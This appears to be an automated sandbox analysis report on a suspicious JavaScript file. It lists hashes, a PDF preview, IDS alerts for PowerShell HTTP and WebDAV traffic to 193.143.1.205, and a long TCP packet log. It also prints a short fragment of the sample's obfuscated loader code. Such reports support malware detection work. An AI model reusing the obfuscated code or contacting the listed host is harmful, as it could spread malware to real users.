Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16773), with CRLF line terminators
Entropy (8bit):	4.927935394162651
TrID:
File name:	16981299741734811290.js
File size:	20'254 bytes
MD5:	b9f850d2c302aceb85698b0d5f0ccedd
SHA1:	a25086ccb42e82d4e43d12538d4d3846a5015f80
SHA256:	4569d2e1731689f271f79c32c965cc4d0c4cd7e66cc6d60d391bf0669d71e8b2
SHA512:	d7008153bb915528cf79e71786aaa0ff2315cc495a8b1b637a72bfee36d17193e4018411d999d4eaf66d6ec8552e2a1d4221259e60c2d64781ecf29b38b3e954
SSDEEP:	384:wvVwqVvVzLEJ4nfM2S0vrlOazD7G+cVbtt2OQc7f4n2C:wvVwqBJEJGHvrlOmHgxQOQy4n2C
TLSH:	5C926588A2E7C7C741F406B808EB48A915DC1C7F96D5EADEC57222584385AD6ECF48FC
File Content Preview:	function rncfshw(){nezfshg=[1031,3079,5127,4103,2055,3072];var rxjwj=this[acacqnr+louzj+ltoew+wksuvfg+apupctgf+tiuxgjfwm+dbvwwgpoz+izcmc](this[gsmkxs+weomuxqx+quytpev+ltoew+drhtewvck+acacqnr+izcmc][ljzzouv+ltoew+apupctgf+louzj+izcmc+apupctgf+riymchtit+lgn

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T23:38:20.148739+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-10T23:38:23.974445+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:38:19.344754934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:19.349786997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:19.349903107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:19.352736950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:19.357572079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.148648977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.148683071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.148739100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.148742914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.148758888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.148776054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.148792028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.148801088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.148808002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.148823023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.148829937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.148839951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.148855925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.148863077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.148891926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.195161104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.195187092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.195213079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.195226908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.195260048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.195322990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.269735098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.269769907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.269785881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.269800901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.269817114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.269831896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.269846916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.269848108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.269864082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.269927979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.270512104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.270526886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.270554066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.270567894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.270585060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.270598888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.270638943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.271445990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.271461010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.271477938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.271492958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.271508932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.271528959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.271559000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.272218943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.272245884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.272336006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.283685923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.316114902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.316143990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.316164970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.316180944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.316195965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.316279888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.316334963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.358269930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.358295918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.358421087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.390782118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.390830994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.390856028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.390878916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.390902996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.390940905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.390981913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.391004086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.391028881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.391027927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.391052961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.391092062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.391359091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.391393900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.391417027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.391433954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.391438961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.391462088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.391484976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.391485929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.391525030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.392118931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.392141104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.392164946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.392174959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.392234087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.392255068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.392275095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.392277002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.392302036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.392326117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.393058062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.393080950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.393100977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.393115997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.393136978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.393153906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.393160105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.393181086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.393199921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.393203974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.393246889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.393996954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.394020081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.394042015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.394058943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.394074917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.394098043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.394115925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.394119024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.394155979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.394156933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.394941092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.394964933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.394983053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.394989014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.395026922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.404630899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.404668093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.404702902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.404769897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.437802076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.437824965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.437843084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.437875032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.437906027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.437913895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.437923908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.437941074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.437974930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.438045979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.438062906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.438093901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.479398012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.479417086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.479432106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.479449034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.479563951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.483295918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.512131929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.512180090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.512239933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.512274027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.512293100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.512326002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.512332916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.512362957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.512372971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.512403965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.512445927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.512454987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.512485981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.512518883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.512518883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.512554884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.512592077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.512640953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.512681007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.512721062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.512734890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.512768984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.512801886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.512804985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.512836933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.512872934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.512871981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.513259888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.513294935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.513309956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.513360977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.513392925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.513398886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.513428926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.513462067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.513464928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.513498068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.513530970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.513531923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.513565063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.513600111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.513602972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.514115095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.514158010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.514166117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.514200926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.514234066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.514234066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.514286995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.514319897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.514319897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.514354944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.514386892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.514391899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.514421940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.514458895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.514460087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.514497995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.514534950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.515125990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.515160084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.515193939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.515194893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.515244007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.515275955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.515279055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.515332937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.515363932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.515367985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.515403032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.515435934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.515435934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.515470982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.515501022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.515505075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.515966892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.516000032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.516000986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.516038895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.516072035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.516122103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.516155005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.516189098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.516189098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.516227007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.516262054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.516262054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.516297102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.516330004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.516330004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.516366959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.516418934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.516913891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.516946077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.516979933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.516979933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.517013073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.517045975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.517049074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.525629997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.525665998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.525681973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.525724888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.525733948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.525739908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.525755882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.525779963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.525815964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.525830030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.525836945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.525846958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.525851011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.525882959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.525919914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.525933981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.525949001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.525964022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.525966883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.525980949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.525990963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.568051100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.568083048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.568099022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.568114042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.568128109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.568130016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.568145037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.568162918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.568173885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.568227053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.588687897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.600689888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.600709915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.600727081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.600769043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.600792885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.600807905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.600822926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.600826979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.600838900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.600864887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.600884914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.600924969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.600940943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.600960016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.600980043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.601000071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.601015091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.601032972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.601157904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.601172924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.601191044 CET	80	49704	193.143.1.205	192.168.2.5
